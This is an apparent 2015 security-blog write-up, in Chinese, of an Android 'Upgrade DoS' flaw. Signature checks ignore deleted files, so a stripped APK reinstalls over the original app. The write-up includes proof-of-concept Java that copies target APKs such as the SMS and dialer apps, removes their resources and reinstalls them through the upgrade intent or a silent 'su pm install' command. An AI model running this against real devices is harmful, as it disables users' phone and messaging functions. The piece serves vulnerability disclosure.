链接: https://jaq.alibaba.com/blog.htm?id=74
MANIFEST.MF中的摘要值能够防止Android源文件的增、改操作,但并不能保护源文件的删操作。
曝出时间:2015.06
原理浅述:Android采用.mf .sf .rsa的签名认证链来防止apk被篡改,但在做文件签名和.mf文件中该文件的签名比对时,倘若该文件根本不存在,即.mf文件中保存有不存在文件的签名信息,该认证仍可以通过;.sf .rsa文件的签名比对类似。因此,可以在拿到apk后解压缩,对其中除dex文件、meta-inf文件外的文件删除,而后重新压缩为apk文件。这时候由于签名未发生变化,仍能成功安装,但由于缺少文件已不能正常运行,因此被称为DoS(拒绝服务)攻击;对系统应用仍可用。
Upgrade DoS漏洞原理
众所周知,安卓中每一个应用安装包在安装之前,都会被开发者的证书进行签名。若没有正规的证书签名就不能被安装,而且也只有证书签名完整的应用才能正常的运行。因此黑客在没有原开发者证书私钥的情况下没有办法伪造签名。通过以上措施,安卓防止了其应用被随意改造。
在应用升级过程中,新应用的签名信息必须与已装应用的签名完全一样,而且新应用的版本号不能低于已装应用。不然的话,应用升级过程就会失败,例如二次打包的应用就不能够升级替换掉已装应用,因为其签名信息不同(没有原开发者证书的情况下没有办法伪造签名)。
但是我们发现的Upgrade DOS 漏洞会调用系统自带的应用升级服务,不需要额外的root权限,也不需要额外的签名信息等:
在apk中,每个Android源文件必须有一个摘要值,存储在MANIFEST.MF文件中,否则上述步骤的第一步就不能完成,证书验证失败,apk不能成功安装;但相反则不然,当MANIFEST.MF中的摘要值存在,而其原始消息Android源文件不存在时,Android验证机制并不能检查出来,apk依然能够成功安装。也就是说,MANIFEST.MF中可以有不存在的冗余项,除了apk中其它所有文件的摘要值之外,MANIFEST.MF还可以包含其它额外的内容。
因此,在删除apk中部分文件之后,MANIFEST.MF不需要修改,而且xx.SF和xx.RSA都不需要修改,就可以正常通过数字签名的验证,升级覆盖原有的低版本应用(因为签名证书没变)。但是,因为删除了部分源文件,该应用将不能够再正常使用,不能打开。在不需要root权限的情况下,对系统应用也有效,手机将不能再使用“电话”、“短信”等功能。
要利用该漏洞,我们还必须使用安卓系统的两个设计缺陷:
- 在Android设备中,其apk存储路径主要集中在 /data/app (用户应用),/system/app(系统预装应用)和/system/priv-app(系统核心应用),但这三个文件夹均提供了读权限给任意的用户,不需要root:
这就使得,我们可以把任意的用户/系统应用apk全部拷贝出来,然后删除掉部分源文件后,调用系统自带的应用升级过程Activity,将修改后的apk重新安装回去覆盖掉原始应用,从而拒绝服务。
2.Android应用升级时,会检查应用程序的版本号,原则上要求新应用的版本号不低于原有应用的版本号。但是,相同的应用版本号,也可以进行升级并覆盖安装。这就使得,我们在删除部分源文件后,不需要额外修改AndroidManifest.xml配置文件。
Upgrade DoS漏洞利用流程
使用Upgrade DoS漏洞,可以对Android设备中任意apk应用,开展拒绝服务攻击,除了部分以odex形式存在的系统应用以外。下面介绍攻击流程,并附上部分POC代码。
1. 读取Android设备中的已有应用,或者遍历所有系统应用文件夹:
packageName = "com.android.mms"; //短信应用
//or packageName = "com.android.dialer"; //电话应用
//or apks traversing /data/app, /system/app and /system/priv-app //或者其它任意apk应用
File f = new File(pm.getApplicationInfo(packageName, 0).sourceDir);
2. 任意删除apk中的文件,除了classes.dex、AndroidManifest.xml以及/META-INFO文件夹以外(这3部分文件不能动):
ZipFile zf = new ZipFile(f);
ZipOutputStream out = new ZipOutputStream(new FileOutputStream(tmp));
Enumeration<? extends ZipEntry> allEntries = zf.entries();
while (allEntries.hasMoreElements()) {
ZipEntry ze = allEntries.nextElement();
String n = ze.getName();
//all files are deleted except the 3 listed
if (n.contains("AndroidManifest.xml") || n.contains("classes.dex") || n.contains("META-INF") ) {
out.putNextEntry(ze);
InputStream in = zf.getInputStream(ze);
int b;
while((b=in.read()) != -1) {
out.write(b);
}
}
}
3. 对于没有root的设备,可以启用系统自带的应用升级进程Activity:
//Android upgrade Activity if not rooted:
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setDataAndType(Uri.fromFile(new File(tmp)), "application/vnd.android.package-archive");
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
4. 对于已经root过的设备,更可以使用静默安装命令:
//or pm-install silently if rooted:
Runtime.exec("su -c \"pm install -r "+ tmp + “\"");